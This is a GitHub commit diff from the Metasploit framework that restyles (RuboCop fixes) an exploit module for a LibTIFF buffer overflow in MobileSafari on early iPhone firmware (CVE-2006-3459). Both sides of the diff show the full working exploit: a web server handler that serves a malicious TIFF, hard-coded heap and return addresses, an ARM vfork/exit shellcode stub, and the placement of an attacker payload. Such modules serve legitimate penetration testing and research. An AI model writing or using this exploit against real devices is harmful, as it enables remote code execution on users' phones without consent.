Skip to content

Commit f4f6f01

Browse files
bcolesbcoles
committed
modules/exploits/apple_ios: Resolve RuboCop violations
1 parent fffcd29 commit f4f6f01

File tree

4 files changed

+292
-244
lines changed

4 files changed

+292
-244
lines changed

‎modules/exploits/apple_ios/browser/safari_libtiff.rb‎

Lines changed: 61 additions & 60 deletions
Original file line numberDiff line numberDiff line change
@@ -12,71 +12,74 @@ class MetasploitModule < Msf::Exploit::Remote
1212
include Msf::Exploit::Remote::HttpServer::HTML
1313

1414
def initialize(info = {})
15-
super(update_info(info,
16-
'Name' => 'Apple iOS MobileSafari LibTIFF Buffer Overflow',
17-
'Description' => %q{
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'Apple iOS MobileSafari LibTIFF Buffer Overflow',
19+
'Description' => %q{
1820
This module exploits a buffer overflow in the version of
19-
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
20-
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
21-
tools installed will need to use a special payload.
22-
},
23-
'License' => MSF_LICENSE,
24-
'Author' => ['hdm', 'kf'],
25-
'References' =>
26-
[
21+
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
22+
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
23+
tools installed will need to use a special payload.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' => ['hdm', 'kf'],
27+
'References' => [
2728
['CVE', '2006-3459'],
2829
['OSVDB', '27723'],
2930
['BID', '19283']
3031
],
31-
'Payload' =>
32-
{
33-
'Space' => 1800,
34-
'BadChars' => "",
32+
'Payload' => {
33+
'Space' => 1800,
34+
'BadChars' => '',
3535

3636
# Multi-threaded applications are not allowed to execve() on OS X
3737
# This stub injects a vfork/exit in front of the payload
38-
'Prepend' =>
39-
[
40-
0xe3a0c042, # vfork
41-
0xef000080, # sc
42-
0xe3500000, # cmp r0, #0
43-
0x1a000001, # bne
44-
0xe3a0c001, # exit(0)
45-
0xef000080 # sc
46-
].pack("V*")
38+
'Prepend' =>
39+
[
40+
0xe3a0c042, # vfork
41+
0xef000080, # sc
42+
0xe3500000, # cmp r0, #0
43+
0x1a000001, # bne
44+
0xe3a0c001, # exit(0)
45+
0xef000080 # sc
46+
].pack('V*')
4747
},
48-
'Arch' => ARCH_ARMLE,
49-
'Platform' => %w{ osx },
50-
'Targets' =>
51-
[
52-
53-
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
48+
'Arch' => ARCH_ARMLE,
49+
'Platform' => %w[osx],
50+
'Targets' => [
51+
[
52+
'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
5453
{
5554
'Platform' => 'osx',
5655

5756
# Scratch space for our shellcode and stack
58-
'Heap' => 0x00802000,
57+
'Heap' => 0x00802000,
5958

6059
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
61-
'Magic' => 0x300d562c,
60+
'Magic' => 0x300d562c
6261
}
6362
],
6463
],
65-
'DefaultTarget' => 0,
66-
'DisclosureDate' => '2006-08-01'
67-
))
64+
'DefaultTarget' => 0,
65+
'DisclosureDate' => '2006-08-01',
66+
'Notes' => {
67+
'Stability' => [ CRASH_SERVICE_DOWN ],
68+
'SideEffects' => [ IOC_IN_LOGS ],
69+
'Reliability' => [ UNRELIABLE_SESSION ]
70+
}
71+
)
72+
)
6873
end
6974

70-
def on_request_uri(cli, req)
71-
72-
75+
def on_request_uri(cli, _req)
7376
# Re-generate the payload
74-
return if ((p = regenerate_payload(cli)) == nil)
77+
return if (p = regenerate_payload(cli)).nil?
7578

7679
# Grab reference to the target
7780
t = target
7881

79-
print_status("Sending exploit")
82+
print_status('Sending exploit')
8083

8184
# Transmit the compressed response to the client
8285
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
@@ -85,44 +88,42 @@ def on_request_uri(cli, req)
8588
handler(cli)
8689
end
8790

88-
def generate_tiff(code, targ)
89-
91+
def generate_tiff(_code, targ)
9092
#
9193
# This is a TIFF file, we have a huge range of evasion
9294
# capabilities, but for now, we don't use them.
9395
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
9496
#
9597

9698
lolz = 2048
97-
tiff =
98-
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
99-
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
100-
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
101-
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
102-
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
103-
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
104-
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
105-
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
106-
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
107-
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
108-
[lolz].pack("V") +
109-
"\x84\x00\x00\x00\x00\x00\x00\x00"
99+
tiff = "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"
100+
tiff << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
101+
tiff << "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"
102+
tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"
103+
tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"
104+
tiff << "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"
105+
tiff << "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"
106+
tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"
107+
tiff << "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"
108+
tiff << "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"
109+
tiff << [lolz].pack('V')
110+
tiff << "\x84\x00\x00\x00\x00\x00\x00\x00"
110111

111112
# Randomize the bajeezus out of our data
112113
hehe = rand_text(lolz)
113114

114115
# Were going to candy mountain!
115-
hehe[120, 4] = [targ['Magic']].pack("V")
116+
hehe[120, 4] = [targ['Magic']].pack('V')
116117

117118
# >> add r0, r4, #0x30
118-
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
119+
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack('V')
119120

120121
# Candy mountain, Charlie!
121122
# >> mov r1, sp
122123

123124
# It will be an adventure!
124125
# >> mov r2, r8
125-
hehe[ 92, 4] = [ hehe.length ].pack("V")
126+
hehe[92, 4] = [ hehe.length ].pack('V')
126127

127128
# Its a magic leoplurodon!
128129
# It has spoken!
@@ -147,7 +148,7 @@ def generate_tiff(code, targ)
147148
# We made it to candy mountain!
148149
# Go inside Charlie!
149150
# sub sp, r7, #0x14
150-
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
151+
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack('V')
151152

152153
# Goodbye Charlie!
153154
# ;; targ['Heap'] + 0x48 becomes the stack pointer
@@ -157,7 +158,7 @@ def generate_tiff(code, targ)
157158
# >> ldmia sp!, {r4, r5, r6, r7, pc}
158159

159160
# Return back to the copied heap data
160-
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")
161+
hehe[192, 4] = [ targ['Heap'] + 196 ].pack('V')
161162

162163
# Insert our actual shellcode at heap location + 196
163164
hehe[196, payload.encoded.length] = payload.encoded

0 commit comments

Comments
 (0)